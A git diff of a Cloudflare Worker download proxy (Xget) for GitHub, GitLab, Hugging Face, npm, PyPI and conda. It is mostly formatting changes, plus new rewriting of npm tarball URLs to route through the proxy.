diff --git a/src/config/index.js b/src/config/index.js index c33b2ba..9ee56d4 100644 --- a/src/config/index.js +++ b/src/config/index.js @@ -1,4 +1,4 @@ -import { PLATFORMS } from "./platforms"; +import { PLATFORMS } from './platforms'; /** * @typedef {Object} SecurityConfig @@ -19,14 +19,14 @@ import { PLATFORMS } from "./platforms"; /** @type {ApplicationConfig} */ export const CONFIG = { - TIMEOUT_SECONDS: 30, - MAX_RETRIES: 3, - RETRY_DELAY_MS: 1000, - CACHE_DURATION: 1800, // 30 minutes - SECURITY: { - ALLOWED_METHODS: ["GET", "HEAD"], // POST is allowed dynamically for Git operations - ALLOWED_ORIGINS: ["*"], - MAX_PATH_LENGTH: 2048, - }, - PLATFORMS, + TIMEOUT_SECONDS: 30, + MAX_RETRIES: 3, + RETRY_DELAY_MS: 1000, + CACHE_DURATION: 1800, // 30 minutes + SECURITY: { + ALLOWED_METHODS: ['GET', 'HEAD'], // POST is allowed dynamically for Git operations + ALLOWED_ORIGINS: ['*'], + MAX_PATH_LENGTH: 2048 + }, + PLATFORMS }; diff --git a/src/config/platforms.js b/src/config/platforms.js index 102abf6..70b44b5 100644 --- a/src/config/platforms.js +++ b/src/config/platforms.js @@ -3,49 +3,49 @@ * @type {Object.} */ export const PLATFORMS = { - /** @type {{base: string, transform: function(string): string}} GitHub configuration */ - gh: { - base: "https://github.com", - transform: (path) => path.replace(/^\/gh\//, "/"), - }, - /** @type {{base: string, transform: function(string): string}} GitLab configuration */ - gl: { - base: "https://gitlab.com", - transform: (path) => path.replace(/^\/gl\//, "/"), - }, - /** @type {{base: string, transform: function(string): string}} Hugging Face configuration */ - hf: { - base: "https://huggingface.co", - transform: (path) => path.replace(/^\/hf\//, "/"), - }, - /** @type {{base: string, transform: function(string): string}} npm registry configuration */ - npm: { - base: "https://registry.npmjs.org", - transform: (path) => path.replace(/^\/npm\//, "/"), - }, - /** @type {{base: string, transform: function(string): string}} PyPI registry configuration */ - pypi: { - base: "https://pypi.org", - transform: (path) => path.replace(/^\/pypi\//, "/"), - }, - /** @type {{base: string, transform: function(string): string}} PyPI files configuration */ - "pypi-files": { - base: "https://files.pythonhosted.org", - transform: (path) => path.replace(/^\/pypi\/files\//, "/"), - }, - /** @type {{base: string, transform: function(string): string}} conda default channels configuration */ - conda: { - base: "https://repo.anaconda.com", - transform: (path) => path.replace(/^\/conda\//, "/"), - }, - /** @type {{base: string, transform: function(string): string}} conda community channels configuration */ - "conda-community": { - base: "https://conda.anaconda.org", - transform: (path) => path.replace(/^\/conda\/community\//, "/"), - }, - // /** @type {{base: string, transform: function(string): string}} All platforms */ - // link: { - // base: "https://", - // transform: (path) => path.replace(/^\/link\//, "/"), - // }, + /** @type {{base: string, transform: function(string): string}} GitHub configuration */ + gh: { + base: 'https://github.com', + transform: path => path.replace(/^\/gh\//, '/') + }, + /** @type {{base: string, transform: function(string): string}} GitLab configuration */ + gl: { + base: 'https://gitlab.com', + transform: path => path.replace(/^\/gl\//, '/') + }, + /** @type {{base: string, transform: function(string): string}} Hugging Face configuration */ + hf: { + base: 'https://huggingface.co', + transform: path => path.replace(/^\/hf\//, '/') + }, + /** @type {{base: string, transform: function(string): string}} npm registry configuration */ + npm: { + base: 'https://registry.npmjs.org', + transform: path => path.replace(/^\/npm\//, '/') + }, + /** @type {{base: string, transform: function(string): string}} PyPI registry configuration */ + pypi: { + base: 'https://pypi.org', + transform: path => path.replace(/^\/pypi\//, '/') + }, + /** @type {{base: string, transform: function(string): string}} PyPI files configuration */ + 'pypi-files': { + base: 'https://files.pythonhosted.org', + transform: path => path.replace(/^\/pypi\/files\//, '/') + }, + /** @type {{base: string, transform: function(string): string}} conda default channels configuration */ + conda: { + base: 'https://repo.anaconda.com', + transform: path => path.replace(/^\/conda\//, '/') + }, + /** @type {{base: string, transform: function(string): string}} conda community channels configuration */ + 'conda-community': { + base: 'https://conda.anaconda.org', + transform: path => path.replace(/^\/conda\/community\//, '/') + } + // /** @type {{base: string, transform: function(string): string}} All platforms */ + // link: { + // base: "https://", + // transform: (path) => path.replace(/^\/link\//, "/"), + // }, }; diff --git a/src/index.js b/src/index.js index ddc329e..8d64654 100644 --- a/src/index.js +++ b/src/index.js @@ -1,35 +1,35 @@ -import { CONFIG } from "./config/index.js"; +import { CONFIG } from './config/index.js'; /** * Monitors performance metrics during request processing */ class PerformanceMonitor { - /** - * Initializes a new performance monitor - */ - constructor() { - this.startTime = Date.now(); - this.marks = new Map(); - } + /** + * Initializes a new performance monitor + */ + constructor() { + this.startTime = Date.now(); + this.marks = new Map(); + } - /** - * Marks a timing point with the given name - * @param {string} name - The name of the timing mark - */ - mark(name) { - if (this.marks.has(name)) { - console.warn(`Mark with name ${name} already exists.`); - } - this.marks.set(name, Date.now() - this.startTime); - } + /** + * Marks a timing point with the given name + * @param {string} name - The name of the timing mark + */ + mark(name) { + if (this.marks.has(name)) { + console.warn(`Mark with name ${name} already exists.`); + } + this.marks.set(name, Date.now() - this.startTime); + } - /** - * Returns all collected metrics - * @returns {Object.} Object containing name-timestamp pairs - */ - getMetrics() { - return Object.fromEntries(this.marks.entries()); - } + /** + * Returns all collected metrics + * @returns {Object.} Object containing name-timestamp pairs + */ + getMetrics() { + return Object.fromEntries(this.marks.entries()); + } } /** @@ -39,40 +39,34 @@ class PerformanceMonitor { * @returns {boolean} True if this is a Git operation */ function isGitRequest(request, url) { - // Check for Git-specific endpoints - if (url.pathname.endsWith("/info/refs")) { - return true; - } + // Check for Git-specific endpoints + if (url.pathname.endsWith('/info/refs')) { + return true; + } - if ( - url.pathname.endsWith("/git-upload-pack") || - url.pathname.endsWith("/git-receive-pack") - ) { - return true; - } + if (url.pathname.endsWith('/git-upload-pack') || url.pathname.endsWith('/git-receive-pack')) { + return true; + } - // Check for Git user agents (more comprehensive check) - const userAgent = request.headers.get("User-Agent") || ""; - if (userAgent.includes("git/") || userAgent.startsWith("git/")) { - return true; - } + // Check for Git user agents (more comprehensive check) + const userAgent = request.headers.get('User-Agent') || ''; + if (userAgent.includes('git/') || userAgent.startsWith('git/')) { + return true; + } - // Check for Git-specific query parameters - if (url.searchParams.has("service")) { - const service = url.searchParams.get("service"); - return service === "git-upload-pack" || service === "git-receive-pack"; - } + // Check for Git-specific query parameters + if (url.searchParams.has('service')) { + const service = url.searchParams.get('service'); + return service === 'git-upload-pack' || service === 'git-receive-pack'; + } - // Check for Git-specific content types - const contentType = request.headers.get("Content-Type") || ""; - if ( - contentType.includes("git-upload-pack") || - contentType.includes("git-receive-pack") - ) { - return true; - } + // Check for Git-specific content types + const contentType = request.headers.get('Content-Type') || ''; + if (contentType.includes('git-upload-pack') || contentType.includes('git-receive-pack')) { + return true; + } - return false; + return false; } /** @@ -82,20 +76,20 @@ function isGitRequest(request, url) { * @returns {{valid: boolean, error?: string, status?: number}} Validation result */ function validateRequest(request, url) { - // Allow POST method for Git operations - const allowedMethods = isGitRequest(request, url) - ? ["GET", "HEAD", "POST"] - : CONFIG.SECURITY.ALLOWED_METHODS; + // Allow POST method for Git operations + const allowedMethods = isGitRequest(request, url) + ? ['GET', 'HEAD', 'POST'] + : CONFIG.SECURITY.ALLOWED_METHODS; - if (!allowedMethods.includes(request.method)) { - return { valid: false, error: "Method not allowed", status: 405 }; - } + if (!allowedMethods.includes(request.method)) { + return { valid: false, error: 'Method not allowed', status: 405 }; + } - if (url.pathname.length > CONFIG.SECURITY.MAX_PATH_LENGTH) { - return { valid: false, error: "Path too long", status: 414 }; - } + if (url.pathname.length > CONFIG.SECURITY.MAX_PATH_LENGTH) { + return { valid: false, error: 'Path too long', status: 414 }; + } - return { valid: true }; + return { valid: true }; } /** @@ -104,19 +98,13 @@ function validateRequest(request, url) { * @returns {Headers} Modified headers object */ function addSecurityHeaders(headers) { - headers.set( - "Strict-Transport-Security", - "max-age=31536000; includeSubDomains; preload" - ); - headers.set("X-Frame-Options", "DENY"); - headers.set("X-XSS-Protection", "1; mode=block"); - headers.set("Referrer-Policy", "strict-origin-when-cross-origin"); - headers.set( - "Content-Security-Policy", - "default-src 'none'; img-src 'self'; script-src 'none'" - ); - headers.set("Permissions-Policy", "interest-cohort=()"); - return headers; + headers.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload'); + headers.set('X-Frame-Options', 'DENY'); + headers.set('X-XSS-Protection', '1; mode=block'); + headers.set('Referrer-Policy', 'strict-origin-when-cross-origin'); + headers.set('Content-Security-Policy', "default-src 'none'; img-src 'self'; script-src 'none'"); + headers.set('Permissions-Policy', 'interest-cohort=()'); + return headers; } /** @@ -127,289 +115,269 @@ function addSecurityHeaders(headers) { * @returns {Promise} The response object */ async function handleRequest(request, env, ctx) { - try { - const url = new URL(request.url); + try { + const url = new URL(request.url); - const monitor = new PerformanceMonitor(); + const monitor = new PerformanceMonitor(); - // Redirect root path or invalid platforms to GitHub repository - if (url.pathname === "/" || url.pathname === "") { - const HOME_PAGE_URL = "https://github.com/xixu-me/Xget"; - return Response.redirect(HOME_PAGE_URL, 302); - } + // Redirect root path or invalid platforms to GitHub repository + if (url.pathname === '/' || url.pathname === '') { + const HOME_PAGE_URL = 'https://github.com/xixu-me/Xget'; + return Response.redirect(HOME_PAGE_URL, 302); + } - const validation = validateRequest(request, url); - if (!validation.valid) { - return new Response(validation.error, { - status: validation.status, - headers: addSecurityHeaders(new Headers()), - }); - } + const validation = validateRequest(request, url); + if (!validation.valid) { + return new Response(validation.error, { + status: validation.status, + headers: addSecurityHeaders(new Headers()) + }); + } - // Parse platform and path - let platform; + // Parse platform and path + let platform; - // Platform detection using transform patterns - // Sort platforms by path length (descending) to prioritize more specific paths - // e.g., conda/community should match before conda, pypi/files before pypi - const sortedPlatforms = Object.keys(CONFIG.PLATFORMS).sort((a, b) => { - const pathA = `/${a.replace("-", "/")}/`; - const pathB = `/${b.replace("-", "/")}/`; - return pathB.length - pathA.length; - }); + // Platform detection using transform patterns + // Sort platforms by path length (descending) to prioritize more specific paths + // e.g., conda/community should match before conda, pypi/files before pypi + const sortedPlatforms = Object.keys(CONFIG.PLATFORMS).sort((a, b) => { + const pathA = `/${a.replace('-', '/')}/`; + const pathB = `/${b.replace('-', '/')}/`; + return pathB.length - pathA.length; + }); - platform = - sortedPlatforms.find((key) => { - const expectedPrefix = `/${key.replace("-", "/")}/`; - return url.pathname.startsWith(expectedPrefix); - }) || url.pathname.split("/")[1]; + platform = + sortedPlatforms.find(key => { + const expectedPrefix = `/${key.replace('-', '/')}/`; + return url.pathname.startsWith(expectedPrefix); + }) || url.pathname.split('/')[1]; - if (!platform || !CONFIG.PLATFORMS[platform]) { - const HOME_PAGE_URL = "https://github.com/xixu-me/Xget"; - return Response.redirect(HOME_PAGE_URL, 302); - } + if (!platform || !CONFIG.PLATFORMS[platform]) { + const HOME_PAGE_URL = 'https://github.com/xixu-me/Xget'; + return Response.redirect(HOME_PAGE_URL, 302); + } - // Transform URL based on platform - const targetPath = CONFIG.PLATFORMS[platform].transform(url.pathname); - const targetUrl = `${CONFIG.PLATFORMS[platform].base}${targetPath}${url.search}`; + // Transform URL based on platform + const targetPath = CONFIG.PLATFORMS[platform].transform(url.pathname); + const targetUrl = `${CONFIG.PLATFORMS[platform].base}${targetPath}${url.search}`; - // Check if this is a Git operation - const isGit = isGitRequest(request, url); + // Check if this is a Git operation + const isGit = isGitRequest(request, url); - // Check cache first (skip cache for Git operations) - const cache = caches.default; - const cacheKey = new Request(targetUrl, request); - let response; + // Check cache first (skip cache for Git operations) + const cache = caches.default; + const cacheKey = new Request(targetUrl, request); + let response; - if (!isGit) { - response = await cache.match(cacheKey); - if (response) { - monitor.mark("cache_hit"); - return response; - } - } + if (!isGit) { + response = await cache.match(cacheKey); + if (response) { + monitor.mark('cache_hit'); + return response; + } + } - const fetchOptions = { - method: request.method, - headers: new Headers(), - }; + const fetchOptions = { + method: request.method, + headers: new Headers() + }; - // Add body for POST requests (Git operations) - if (request.method === "POST" && isGit) { - // For Git operations, we need to preserve the original body stream - fetchOptions.body = request.body; - } + // Add body for POST requests (Git operations) + if (request.method === 'POST' && isGit) { + // For Git operations, we need to preserve the original body stream + fetchOptions.body = request.body; + } - // Set appropriate headers for Git vs regular requests - if (isGit) { - // For Git operations, copy all headers from the original request - // This ensures Git protocol compliance - for (const [key, value] of request.headers.entries()) { - // Skip headers that might cause issues with proxying - if ( - !["host", "connection", "upgrade", "proxy-connection"].includes( - key.toLowerCase() - ) - ) { - fetchOptions.headers.set(key, value); - } - } + // Set appropriate headers for Git vs regular requests + if (isGit) { + // For Git operations, copy all headers from the original request + // This ensures Git protocol compliance + for (const [key, value] of request.headers.entries()) { + // Skip headers that might cause issues with proxying + if (!['host', 'connection', 'upgrade', 'proxy-connection'].includes(key.toLowerCase())) { + fetchOptions.headers.set(key, value); + } + } - // Set Git-specific headers if not present - if (!fetchOptions.headers.has("User-Agent")) { - fetchOptions.headers.set("User-Agent", "git/2.34.1"); - } + // Set Git-specific headers if not present + if (!fetchOptions.headers.has('User-Agent')) { + fetchOptions.headers.set('User-Agent', 'git/2.34.1'); + } - // For Git upload-pack requests, ensure proper content type - if ( - request.method === "POST" && - url.pathname.endsWith("/git-upload-pack") - ) { - if (!fetchOptions.headers.has("Content-Type")) { - fetchOptions.headers.set( - "Content-Type", - "application/x-git-upload-pack-request" - ); - } - } + // For Git upload-pack requests, ensure proper content type + if (request.method === 'POST' && url.pathname.endsWith('/git-upload-pack')) { + if (!fetchOptions.headers.has('Content-Type')) { + fetchOptions.headers.set('Content-Type', 'application/x-git-upload-pack-request'); + } + } - // For Git receive-pack requests, ensure proper content type - if ( - request.method === "POST" && - url.pathname.endsWith("/git-receive-pack") - ) { - if (!fetchOptions.headers.has("Content-Type")) { - fetchOptions.headers.set( - "Content-Type", - "application/x-git-receive-pack-request" - ); - } - } - } else { - // Regular file download headers - Object.assign(fetchOptions, { - cf: { - http3: true, - cacheTtl: CONFIG.CACHE_DURATION, - cacheEverything: true, - minify: { - javascript: true, - css: true, - html: true, - }, - preconnect: true, - }, - }); + // For Git receive-pack requests, ensure proper content type + if (request.method === 'POST' && url.pathname.endsWith('/git-receive-pack')) { + if (!fetchOptions.headers.has('Content-Type')) { + fetchOptions.headers.set('Content-Type', 'application/x-git-receive-pack-request'); + } + } + } else { + // Regular file download headers + Object.assign(fetchOptions, { + cf: { + http3: true, + cacheTtl: CONFIG.CACHE_DURATION, + cacheEverything: true, + minify: { + javascript: true, + css: true, + html: true + }, + preconnect: true + } + }); - fetchOptions.headers.set("Accept-Encoding", "gzip, deflate, br"); - fetchOptions.headers.set("Connection", "keep-alive"); - fetchOptions.headers.set("User-Agent", "Wget/1.21.3"); - fetchOptions.headers.set("Origin", request.headers.get("Origin") || "*"); + fetchOptions.headers.set('Accept-Encoding', 'gzip, deflate, br'); + fetchOptions.headers.set('Connection', 'keep-alive'); + fetchOptions.headers.set('User-Agent', 'Wget/1.21.3'); + fetchOptions.headers.set('Origin', request.headers.get('Origin') || '*'); - // Handle range requests - const rangeHeader = request.headers.get("Range"); - if (rangeHeader) { - fetchOptions.headers.set("Range", rangeHeader); - } - } + // Handle range requests + const rangeHeader = request.headers.get('Range'); + if (rangeHeader) { + fetchOptions.headers.set('Range', rangeHeader); + } + } - // Implement retry mechanism - let attempts = 0; - while (attempts < CONFIG.MAX_RETRIES) { - try { - monitor.mark("attempt_" + attempts); + // Implement retry mechanism + let attempts = 0; + while (attempts < CONFIG.MAX_RETRIES) { + try { + monitor.mark('attempt_' + attempts); - // Fetch with timeout - const controller = new AbortController(); - const timeoutId = setTimeout( - () => controller.abort(), - CONFIG.TIMEOUT_SECONDS * 1000 - ); + // Fetch with timeout + const controller = new AbortController(); + const timeoutId = setTimeout(() => controller.abort(), CONFIG.TIMEOUT_SECONDS * 1000); - // For Git operations, don't use Cloudflare-specific options - const finalFetchOptions = isGit - ? { ...fetchOptions, signal: controller.signal } - : { ...fetchOptions, signal: controller.signal }; + // For Git operations, don't use Cloudflare-specific options + const finalFetchOptions = isGit + ? { ...fetchOptions, signal: controller.signal } + : { ...fetchOptions, signal: controller.signal }; - response = await fetch(targetUrl, finalFetchOptions); + response = await fetch(targetUrl, finalFetchOptions); - clearTimeout(timeoutId); + clearTimeout(timeoutId); - if (response.ok || response.status === 206) { - monitor.mark("success"); - break; - } + if (response.ok || response.status === 206) { + monitor.mark('success'); + break; + } - // Don't retry on client errors (4xx) - these won't improve with retries - if (response.status >= 400 && response.status < 500) { - monitor.mark("client_error"); - break; - } + // Don't retry on client errors (4xx) - these won't improve with retries + if (response.status >= 400 && response.status < 500) { + monitor.mark('client_error'); + break; + } - attempts++; - if (attempts < CONFIG.MAX_RETRIES) { - await new Promise((resolve) => - setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts) - ); - } - } catch (error) { - attempts++; - if (error.name === "AbortError") { - return new Response("Request timeout", { - status: 408, - headers: addSecurityHeaders(new Headers()), - }); - } - if (attempts >= CONFIG.MAX_RETRIES) { - return new Response( - `Failed after ${CONFIG.MAX_RETRIES} attempts: ${error.message}`, - { - status: 500, - headers: addSecurityHeaders(new Headers()), - } - ); - } - // Wait before retrying - await new Promise((resolve) => - setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts) - ); - } - } + attempts++; + if (attempts < CONFIG.MAX_RETRIES) { + await new Promise(resolve => setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts)); + } + } catch (error) { + attempts++; + if (error.name === 'AbortError') { + return new Response('Request timeout', { + status: 408, + headers: addSecurityHeaders(new Headers()) + }); + } + if (attempts >= CONFIG.MAX_RETRIES) { + return new Response(`Failed after ${CONFIG.MAX_RETRIES} attempts: ${error.message}`, { + status: 500, + headers: addSecurityHeaders(new Headers()) + }); + } + // Wait before retrying + await new Promise(resolve => setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts)); + } + } - // Check if we have a valid response after all attempts - if (!response) { - return new Response("No response received after all retry attempts", { - status: 500, - headers: addSecurityHeaders(new Headers()), - }); - } + // Check if we have a valid response after all attempts + if (!response) { + return new Response('No response received after all retry attempts', { + status: 500, + headers: addSecurityHeaders(new Headers()) + }); + } - // If response is still not ok after all retries, return the error - if (!response.ok && response.status !== 206) { - const errorText = await response.text().catch(() => "Unknown error"); - return new Response( - `Upstream server error (${response.status}): ${errorText}`, - { - status: response.status, - headers: addSecurityHeaders(new Headers()), - } - ); - } + // If response is still not ok after all retries, return the error + if (!response.ok && response.status !== 206) { + const errorText = await response.text().catch(() => 'Unknown error'); + return new Response(`Upstream server error (${response.status}): ${errorText}`, { + status: response.status, + headers: addSecurityHeaders(new Headers()) + }); + } - // Handle PyPI simple index URL rewriting - let responseBody = response.body; - if ( - platform === "pypi" && - response.headers.get("content-type")?.includes("text/html") - ) { - const originalText = await response.text(); - // Rewrite URLs in the response body to go through the Cloudflare Worker - // files.pythonhosted.org URLs should be rewritten to go through our pypi/files endpoint - const rewrittenText = originalText.replace( - /https:\/\/files\.pythonhosted\.org/g, - `${url.origin}/pypi/files` - ); - responseBody = rewrittenText; - } + // Handle URL rewriting for different platforms + let responseBody = response.body; - // Prepare response headers - const headers = new Headers(response.headers); + // Handle PyPI simple index URL rewriting + if (platform === 'pypi' && response.headers.get('content-type')?.includes('text/html')) { + const originalText = await response.text(); + // Rewrite URLs in the response body to go through the Cloudflare Worker + // files.pythonhosted.org URLs should be rewritten to go through our pypi/files endpoint + const rewrittenText = originalText.replace( + /https:\/\/files\.pythonhosted\.org/g, + `${url.origin}/pypi/files` + ); + responseBody = rewrittenText; + } - if (isGit) { - // For Git operations, preserve all headers from the upstream response - // Git protocol is very sensitive to header changes - // Don't add any additional headers that might interfere with Git protocol - // The response headers from GitHub/GitLab should be passed through as-is - } else { - // Regular file download headers - headers.set("Cache-Control", `public, max-age=${CONFIG.CACHE_DURATION}`); - headers.set("X-Content-Type-Options", "nosniff"); - headers.set("Accept-Ranges", "bytes"); - addSecurityHeaders(headers); - } + // Handle npm registry URL rewriting + if (platform === 'npm' && response.headers.get('content-type')?.includes('application/json')) { + const originalText = await response.text(); + // Rewrite tarball URLs in npm registry responses to go through our npm endpoint + // https://registry.npmjs.org/package/-/package-version.tgz -> https://xget.xi-xu.me/npm/package/-/package-version.tgz + const rewrittenText = originalText.replace( + /https:\/\/registry\.npmjs\.org\/([^\/]+)/g, + `${url.origin}/npm/$1` + ); + responseBody = rewrittenText; + } - // Create final response - const finalResponse = new Response(responseBody, { - status: response.status, - headers: headers, - }); + // Prepare response headers + const headers = new Headers(response.headers); - // Cache successful responses (skip caching for Git operations) - if (!isGit && (response.ok || response.status === 206)) { - ctx.waitUntil(cache.put(cacheKey, finalResponse.clone())); - } + if (isGit) { + // For Git operations, preserve all headers from the upstream response + // Git protocol is very sensitive to header changes + // Don't add any additional headers that might interfere with Git protocol + // The response headers from GitHub/GitLab should be passed through as-is + } else { + // Regular file download headers + headers.set('Cache-Control', `public, max-age=${CONFIG.CACHE_DURATION}`); + headers.set('X-Content-Type-Options', 'nosniff'); + headers.set('Accept-Ranges', 'bytes'); + addSecurityHeaders(headers); + } - monitor.mark("complete"); - return isGit - ? finalResponse - : addPerformanceHeaders(finalResponse, monitor); - } catch (error) { - console.error("Error handling request:", error); - return new Response(`Internal Server Error: ${error.message}`, { - status: 500, - headers: addSecurityHeaders(new Headers()), - }); - } + // Create final response + const finalResponse = new Response(responseBody, { + status: response.status, + headers: headers + }); + + // Cache successful responses (skip caching for Git operations) + if (!isGit && (response.ok || response.status === 206)) { + ctx.waitUntil(cache.put(cacheKey, finalResponse.clone())); + } + + monitor.mark('complete'); + return isGit ? finalResponse : addPerformanceHeaders(finalResponse, monitor); + } catch (error) { + console.error('Error handling request:', error); + return new Response(`Internal Server Error: ${error.message}`, { + status: 500, + headers: addSecurityHeaders(new Headers()) + }); + } } /** @@ -419,24 +387,24 @@ async function handleRequest(request, env, ctx) { * @returns {Response} New response with performance headers */ function addPerformanceHeaders(response, monitor) { - const headers = new Headers(response.headers); - headers.set("X-Performance-Metrics", JSON.stringify(monitor.getMetrics())); - addSecurityHeaders(headers); - return new Response(response.body, { - status: response.status, - headers: headers, - }); + const headers = new Headers(response.headers); + headers.set('X-Performance-Metrics', JSON.stringify(monitor.getMetrics())); + addSecurityHeaders(headers); + return new Response(response.body, { + status: response.status, + headers: headers + }); } export default { - /** - * Main entry point for the Cloudflare Worker - * @param {Request} request - The incoming request - * @param {Object} env - Environment variables - * @param {ExecutionContext} ctx - Cloudflare Workers execution context - * @returns {Promise} The response object - */ - fetch(request, env, ctx) { - return handleRequest(request, env, ctx); - }, + /** + * Main entry point for the Cloudflare Worker + * @param {Request} request - The incoming request + * @param {Object} env - Environment variables + * @param {ExecutionContext} ctx - Cloudflare Workers execution context + * @returns {Promise} The response object + */ + fetch(request, env, ctx) { + return handleRequest(request, env, ctx); + } }; diff --git a/test/benchmark/performance.bench.js b/test/benchmark/performance.bench.js index 77d9a8e..60c6fe6 100644 --- a/test/benchmark/performance.bench.js +++ b/test/benchmark/performance.bench.js @@ -73,7 +73,7 @@ describe('Performance Benchmarks', () => { describe('Security Header Processing', () => { bench('Security headers addition', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); - + // Verify headers are present (this adds to processing time) response.headers.get('Strict-Transport-Security'); response.headers.get('X-Frame-Options'); @@ -101,22 +101,26 @@ describe('Performance Benchmarks', () => { describe('Concurrent Request Handling', () => { bench('10 concurrent requests', async () => { - const requests = Array(10).fill().map(() => - SELF.fetch('https://example.com/gh/test/repo/file.txt', { - method: 'HEAD' - }) - ); - + const requests = Array(10) + .fill() + .map(() => + SELF.fetch('https://example.com/gh/test/repo/file.txt', { + method: 'HEAD' + }) + ); + await Promise.all(requests); }); bench('50 concurrent requests', async () => { - const requests = Array(50).fill().map(() => - SELF.fetch('https://example.com/gh/test/repo/file.txt', { - method: 'HEAD' - }) - ); - + const requests = Array(50) + .fill() + .map(() => + SELF.fetch('https://example.com/gh/test/repo/file.txt', { + method: 'HEAD' + }) + ); + await Promise.all(requests); }); }); @@ -156,7 +160,9 @@ describe('Performance Benchmarks', () => { }); bench('Complex URL parsing', async () => { - await SELF.fetch('https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123'); + await SELF.fetch( + 'https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123' + ); }); }); @@ -166,17 +172,17 @@ describe('Performance Benchmarks', () => { method: 'GET', headers: { 'User-Agent': 'Test/1.0', - 'Accept': '*/*' + Accept: '*/*' } }); - + // Process the request await SELF.fetch(request); }); bench('Response object processing', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); - + // Access various response properties response.status; response.statusText; @@ -210,4 +216,4 @@ describe('Performance Benchmarks', () => { await SELF.fetch('https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda'); }); }); -}); \ No newline at end of file +}); diff --git a/test/fixtures/responses.js b/test/fixtures/responses.js index 1b5f60e..ee0fa56 100644 --- a/test/fixtures/responses.js +++ b/test/fixtures/responses.js @@ -20,7 +20,7 @@ export const MOCK_RESPONSES = { } }) }, - + readme: { status: 200, headers: { @@ -28,7 +28,7 @@ export const MOCK_RESPONSES = { }, body: '# Visual Studio Code\n\nCode editing. Redefined.' }, - + release: { status: 200, headers: { @@ -38,7 +38,7 @@ export const MOCK_RESPONSES = { }, body: 'binary-data-placeholder' }, - + notFound: { status: 404, headers: { @@ -46,7 +46,7 @@ export const MOCK_RESPONSES = { }, body: 'Not Found' }, - + gitInfoRefs: { status: 200, headers: { @@ -69,7 +69,7 @@ export const MOCK_RESPONSES = { description: 'GitLab Community Edition' }) }, - + archive: { status: 200, headers: { @@ -97,7 +97,7 @@ export const MOCK_RESPONSES = { n_head: 16 }) }, - + modelFile: { status: 200, headers: { @@ -106,7 +106,7 @@ export const MOCK_RESPONSES = { }, body: 'model-binary-data-placeholder' }, - + datasetFile: { status: 200, headers: { @@ -140,7 +140,7 @@ export const MOCK_RESPONSES = { license: 'MIT' }) }, - + packageTarball: { status: 200, headers: { @@ -167,7 +167,7 @@ export const MOCK_RESPONSES = { ` }, - + packageFile: { status: 200, headers: { @@ -176,7 +176,7 @@ export const MOCK_RESPONSES = { }, body: 'gzip-data-placeholder' }, - + wheelFile: { status: 200, headers: { @@ -212,7 +212,7 @@ export const MOCK_RESPONSES = { } }) }, - + packageFile: { status: 200, headers: { @@ -231,7 +231,7 @@ export const MOCK_RESPONSES = { }, body: 'Bad Request' }, - + unauthorized: { status: 401, headers: { @@ -239,7 +239,7 @@ export const MOCK_RESPONSES = { }, body: 'Unauthorized' }, - + forbidden: { status: 403, headers: { @@ -247,7 +247,7 @@ export const MOCK_RESPONSES = { }, body: 'Forbidden' }, - + notFound: { status: 404, headers: { @@ -255,16 +255,16 @@ export const MOCK_RESPONSES = { }, body: 'Not Found' }, - + methodNotAllowed: { status: 405, headers: { 'Content-Type': 'text/plain', - 'Allow': 'GET, HEAD' + Allow: 'GET, HEAD' }, body: 'Method Not Allowed' }, - + pathTooLong: { status: 414, headers: { @@ -272,7 +272,7 @@ export const MOCK_RESPONSES = { }, body: 'URI Too Long' }, - + internalServerError: { status: 500, headers: { @@ -280,7 +280,7 @@ export const MOCK_RESPONSES = { }, body: 'Internal Server Error' }, - + badGateway: { status: 502, headers: { @@ -288,7 +288,7 @@ export const MOCK_RESPONSES = { }, body: 'Bad Gateway' }, - + serviceUnavailable: { status: 503, headers: { @@ -296,7 +296,7 @@ export const MOCK_RESPONSES = { }, body: 'Service Unavailable' }, - + gatewayTimeout: { status: 504, headers: { @@ -345,7 +345,7 @@ function getStatusText(status) { 503: 'Service Unavailable', 504: 'Gateway Timeout' }; - + return statusTexts[status] || 'Unknown'; } @@ -356,34 +356,37 @@ function getStatusText(status) { * @returns {Promise} Mock response */ export function mockFetchWithFixtures(url, options = {}) { - return new Promise((resolve) => { + return new Promise(resolve => { // Simulate network delay - setTimeout(() => { - const urlObj = new URL(url); - const path = urlObj.pathname; - - // Route to appropriate mock response based on URL pattern - if (path.includes('/gh/') && path.includes('package.json')) { - resolve(createMockResponse(MOCK_RESPONSES.github.packageJson)); - } else if (path.includes('/gh/') && path.includes('README.md')) { - resolve(createMockResponse(MOCK_RESPONSES.github.readme)); - } else if (path.includes('/gl/') && path.includes('package.json')) { - resolve(createMockResponse(MOCK_RESPONSES.gitlab.packageJson)); - } else if (path.includes('/hf/') && path.includes('config.json')) { - resolve(createMockResponse(MOCK_RESPONSES.huggingface.modelConfig)); - } else if (path.includes('/npm/') && !path.includes('.tgz')) { - resolve(createMockResponse(MOCK_RESPONSES.npm.packageMetadata)); - } else if (path.includes('/pypi/simple/')) { - resolve(createMockResponse(MOCK_RESPONSES.pypi.simpleIndex)); - } else if (path.includes('/conda/') && path.includes('repodata.json')) { - resolve(createMockResponse(MOCK_RESPONSES.conda.repodata)); - } else if (options.method && !['GET', 'HEAD', 'POST'].includes(options.method)) { - resolve(createMockResponse(MOCK_RESPONSES.errors.methodNotAllowed)); - } else if (path.length > 2048) { - resolve(createMockResponse(MOCK_RESPONSES.errors.pathTooLong)); - } else { - resolve(createMockResponse(MOCK_RESPONSES.errors.notFound)); - } - }, Math.random() * 50 + 10); // 10-60ms delay + setTimeout( + () => { + const urlObj = new URL(url); + const path = urlObj.pathname; + + // Route to appropriate mock response based on URL pattern + if (path.includes('/gh/') && path.includes('package.json')) { + resolve(createMockResponse(MOCK_RESPONSES.github.packageJson)); + } else if (path.includes('/gh/') && path.includes('README.md')) { + resolve(createMockResponse(MOCK_RESPONSES.github.readme)); + } else if (path.includes('/gl/') && path.includes('package.json')) { + resolve(createMockResponse(MOCK_RESPONSES.gitlab.packageJson)); + } else if (path.includes('/hf/') && 